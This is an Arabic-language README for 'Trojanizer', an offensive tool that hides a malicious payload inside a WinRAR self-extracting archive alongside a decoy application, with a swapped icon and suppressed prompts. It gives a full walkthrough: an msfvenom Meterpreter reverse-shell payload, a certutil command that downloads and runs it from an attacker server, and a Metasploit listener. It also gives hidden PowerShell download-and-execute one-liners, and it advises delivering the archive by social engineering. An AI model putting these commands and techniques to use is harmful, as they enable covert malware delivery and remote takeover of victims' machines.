trojanizer

إصدار الإصدار : v1.1 (مستقر)
المؤلف : pedro ubuntu [ r00t-3xp10it ]
الاسم الرمزي: Troia_Revisited
التوزيعات المدعومة: Ubuntu, Kali, Mint, Parrot OS
تطوير فريق RedTeam الخاص بـ Suspicious-Shell-Activity (SSA) ©2017

يستخدم أداة Trojanizer أداة WinRAR (SFX) لضغط الملفين اللذين أدخلهما المستخدم،
وتحويلهما إلى أرشيف SFX قابل للتنفيذ (.exe). عند تنفيذ أرشيف SFX،
سيتم تشغيل كلا الملفين (الحمولة الخاصة بنا والتطبيق الشرعي في نفس الوقت).

لجعل الأرشيف أقل إثارة للريبة لدى الهدف وقت التنفيذ، سيحاول Trojanizer
استبدال الأيقونة الافتراضية (.ico) لملف SFX بأيقونة يختارها المستخدم،
وإخفاء جميع رسائل بيئة الحماية لأرشيف SFX (Silent=1 | Overwrite=1).

Zenity (واجهات Bash) | Wine (x86|x64) | WinRAr.exe (مثبت في Wine)
"سيقوم Trojanizer.sh بتنزيل وتثبيت جميع التبعيات حسب الحاجة"
╔────────────────────────────────────────────────────────────────────────────────────────────╗
|        يُوصى بتحرير وتكوين الخيار: SYSTEM_ARCH=[ بنية_نظامك ]                               |
|        في ملف 'settings' قبل محاولة تشغيل الأداة لأول مرة.                                   |
╚────────────────────────────────────────────────────────────────────────────────────────────╝

.exe | .bat | .vbs | .ps1
"جميع الحمولات التي يمكن لنظام Windows/SFX استخراجها وتنفيذها تلقائياً"

تلميح: إذا تم اختيار 'SINGLE_EXEC=ON' في ملف الإعدادات،
فإن Trojanizer سيقبل أي نوع من الامتدادات ليتم إدخالها.

.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | إلخ ..
"جميع التطبيقات التي يمكن لنظام Windows/SFX استخراجها وتنفيذها تلقائياً"

╔─────────────────────────────────────────────────────────────────────────────────────────╗
|         الخيارات المتقدمة لـ Trojanizer متاحة فقط في ملف 'settings'،                      |
|       ولا يمكن تكوينها إلا قبل تشغيل الأداة الرئيسية (Trojanizer.sh)                      |
╚─────────────────────────────────────────────────────────────────────────────────────────╝

╔────────────────────────────────────────────────────────────────────────────────────────────────╗
|  السلوك الافتراضي لمفتاح single_file_execution هو ضغط الملفين اللذين أدخلهما المستخدم         |
|  ولكن تنفيذ واحد منهما فقط وقت الاستخراج (سيتم تنفيذ الملف الثاني المُدخل) ..                    |
╚────────────────────────────────────────────────────────────────────────────────────────────────╝

╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|   تم إنجاز الكثير من العمل الرائع من قبل الكثير من الأشخاص، وخاصة @subTee، بخصوص تجاوز القائمة البيضاء للتطبيقات   |
|   وهو ما نريده في النهاية هنا: تنفيذ تعليمات برمجية عشوائية باستخدام الملفات الثنائية المضمنة من مايكروسوفت.        |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝

يصف التمرين التالي كيفية استخدام مفتاحي Trojanizer المتقدمين 'single_file_execution' و 'Presetup' لإسقاط
(تنزيل عن بُعد) وتنفيذ أي حمولة باستخدام أسطر أوامر تجاوز القائمة البيضاء للتطبيقات 'certutil' أو 'powershell'..


1º - استخدام metasploit لبناء حمولتنا
     msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe

2º - نسخ payload.exe إلى جذر الويب لـ apache2 وبدء الخدمة
     cp payload.exe /var/www/html/payload.exe
     service apache2 start

3º - تحرير ملف 'settings' الخاص بـ Trojanizer وتفعيل:
     PRE_SETUP=ON
     SINGLE_EXEC=ON

4º - تشغيل أداة Trojanizer
     الحمولة المراد ضغطها => <path-to>/screenshot.png (لن يهم ما تضغطه)
     تنفيذ هذا الملف عند الاستخراج => <path-to>/AngryBirds.exe (ليتم تنفيذه كتطبيق إغراء)
     مربع الحوار للإعداد المسبق => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
     اسم ملف SFX => AngryBirds_installer (اسم أرشيف SFX المراد إنشاؤه)
     استبدال الأيقونة => Windows-Store.ico أو Steam-logo.ico

5º - بدء مستمع، وإرسال أرشيف SFX إلى الهدف باستخدام الهندسة الاجتماعية
     msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'


╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|      عند تنفيذ أرشيف SFX، سيقوم بتنزيل payload.exe من خادم apache2 الخاص بنا إلى الهدف و                         |
|    تنفيذه قبل استخراج 'screenshot.png' و 'AngryBirds.exe' (سيتم تنفيذ الأخير ليعمل كإغراء)                         |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝


يستخدم سطر الأوامر التالي طريقة 'powershell(Downloadfile+start)' لتحقيق نفس النتيجة كما في تمرين 'certutil' السابق ..
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'

يستخدم سطر الأوامر التالي طريقة 'powershell(IEX+downloadstring)' لتحقيق نفس الشيء تقريباً (لا يلمس payload.ps1 القرص)
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"

1º - تنزيل الإطار من GitHub
     git clone https://github.com/r00t-3xp10it/trojanizer.git

2º - تعيين أذونات تنفيذ الملفات
     cd trojanizer
     sudo chmod +x *.sh

3º - تكوين الإطار
     nano settings

4º - تشغيل الأداة الرئيسية
     sudo ./Trojanizer.sh